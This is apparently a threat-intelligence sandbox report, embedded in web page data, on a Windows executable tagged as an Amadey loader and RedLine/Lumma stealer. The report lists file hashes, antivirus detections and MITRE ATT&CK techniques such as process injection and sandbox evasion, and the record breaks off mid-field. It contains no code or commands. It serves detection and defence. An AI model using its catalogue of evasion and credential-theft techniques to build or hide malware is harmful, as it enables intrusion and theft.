WJ9IYxzHIZFIIJmI7w+gLrSm2QHKmlneiwvhHlyKdOHySidaVjuKANJ7tqGUpnkJMJlMIB6PIxHf1gFQnYTqQjs7zyy/I1tuiNym4LdwZbUdV5/eUAFwFbMvOCBQkbLMY7EYtrdjlQEEUfmjMD2zLE98EE0FIsoSCPpFKPA8UlySAm8rADEdgGRKcYB929mk1UhIlRxgLasHnk+BSynrzrLe2tqSpQsQ59LyJxk7GWQlHkAWyFNfRkCOhB2J+t6Rdkh5ZRwZvMspRVY4/9OiCJ4cSVFwjjJP0Nqz9S+IuaELwAYOS3sA2H/0vgGz3PkhMtH7FrsLdpcbVocbZqsTxgrPqXWz43YJ4OP1v7/+BnvlpAT3X7SfAAAAAElFTkSuQmCC1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791108665685,"unified_at":"2026-10-04T10:11:05.685Z","metadata":{"hashes":{"sha256":"2e90e00abbd49c7a69771a8ec31862319a237bf5532768a4e20b627f636b8001","sha1":"2272ca724539b2e2bef16f3017c1e1e3db9e9485","md5":"ffa05200d7a741017eb476eef981b041","sha512":"55be906ff0385337b94ea090d1ccb3c4fd0e7d813adca5d6eccd2cfc40c1cbcf3f68a981cf0f97e457737a0b1b57745870e8ded6e58a6834556cd0bfcb8531a9","ssdeep":"49152:1CYg6rMK/aiLLsFf8lTlcZuY+1HSkB1SOpIBC8MiH:i6rbaiEiWH+YklIBC8MiH","ssdeep_chunks":["49152:1CYg6rM","49152:CYg6rMK","49152:Yg6rMK/","49152:g6rMK/a","49152:6rMK/ai","49152:rMK/aiL","49152:MK/aiLL","49152:K/aiLLs","49152:/aiLLsF","49152:aiLLsFf","49152:iLLsFf8","49152:LLsFf8l","49152:LsFf8lT","49152:sFf8lTl","49152:Ff8lTlc","49152:f8lTlcZ","49152:8lTlcZu","49152:lTlcZuY","49152:TlcZuY+","49152:lcZuY+1","49152:cZuY+1H","49152:ZuY+1HS","49152:uY+1HSk","49152:Y+1HSkB","49152:+1HSkB1","49152:1HSkB1S","49152:HSkB1SO","49152:SkB1SOp","49152:kB1SOpI","49152:B1SOpIB","49152:1SOpIBC","49152:SOpIBC8","49152:OpIBC8M","49152:pIBC8Mi","49152:IBC8MiH","98304:1CYg6rM","98304:CYg6rMK","98304:Yg6rMK/","98304:g6rMK/a","98304:6rMK/ai","98304:rMK/aiL","98304:MK/aiLL","98304:K/aiLLs","98304:/aiLLsF","98304:aiLLsFf","98304:iLLsFf8","98304:LLsFf8l","98304:LsFf8lT","98304:sFf8lTl","98304:Ff8lTlc","98304:f8lTlcZ","98304:8lTlcZu","98304:lTlcZuY","98304:TlcZuY+","98304:lcZuY+1","98304:cZuY+1H","98304:ZuY+1HS","98304:uY+1HSk","98304:Y+1HSkB","98304:+1HSkB1","98304:1HSkB1S","98304:HSkB1SO","98304:SkB1SOp","98304:kB1SOpI","98304:B1SOpIB","98304:1SOpIBC","98304:SOpIBC8","98304:OpIBC8M","98304:pIBC8Mi","98304:IBC8MiH","49152:i6rbaiE","49152:6rbaiEi","49152:rbaiEiW","49152:baiEiWH","49152:aiEiWH+","49152:iEiWH+Y","49152:EiWH+Yk","49152:iWH+Ykl","49152:WH+YklI","49152:H+YklIB","49152:+YklIBC","49152:YklIBC8","49152:klIBC8M","49152:lIBC8Mi"],"imphash":"2eabe9054cad5152567f0699947a2c5b"},"file_info":{"file_name":"ffa05200d7a741017eb476eef981b041.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":2186240,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1739860481000,"last_seen":1739860481000,"last_multi_scan":1739860481000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["amadeyloader","backdoor","commodity","credentialharvesting","criminal","downloader","informationstealer","loader","lummastealer","redlinestealer","slashnext:socialengineering","evasive","malicious"]},"stats":{"av":{"malicious_count":13,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":69},"sandbox_signatures":{"informative_count":127,"suspicious_count":15,"malicious_count":7,"total":149},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Packed]/Win32.Themida.hzb","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Crypt.TPM.Gen","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Kryptik.260","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware_-10","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Kryptik.260 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Packed.Themida.HZB trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Heur!.038120A1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Amadey-D","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/Agent.JDU.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TScope.Malware-Cryptor.SB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_39.2","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Kryptik.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Reconnaissance","technique":"IP Addresses","attack_id":"T1590.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1590/005","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Recently renewed or created SSL certificate"},{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"malicious","value":"Calls an API typically used to execute an application"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains reference to multiple windows system processes"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"malicious","value":"Loads the task scheduler interface DLL"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Connects to LPC ports"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"},{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"informative","value":"Contains ability to unmap view of a section from a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"},{"type":"informative","value":"Reference explorer.exe process"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Able to identify virtual/sandbox environment devices"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"},{"type":"informative","value":"Able to identify virtual/sandbox environment"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Tries to map intranet network resources to internet zone"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the Windows system directory"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Scanning for window names"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"suspicious","value":"Calls an API typically used to enumerate process encountered in a system snapshot"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"},{"type":"malicious","value":"Reads the system/video BIOS version"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Read system defined device setup information from registry"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to read software policies"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"suspicious","value":"Calls an API typically used to find a SID for the specified name"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"},{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"suspicious","value":"Writes a PE file header to disc"},{"type":"informative","value":"Contains reference to Sysinternals URL"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"}],"sources":[{"report_type":"sandbox","report_id":"67b42a0003193fc1d7030f01"}]},{"tactic":"Command and Control","technique":"Web 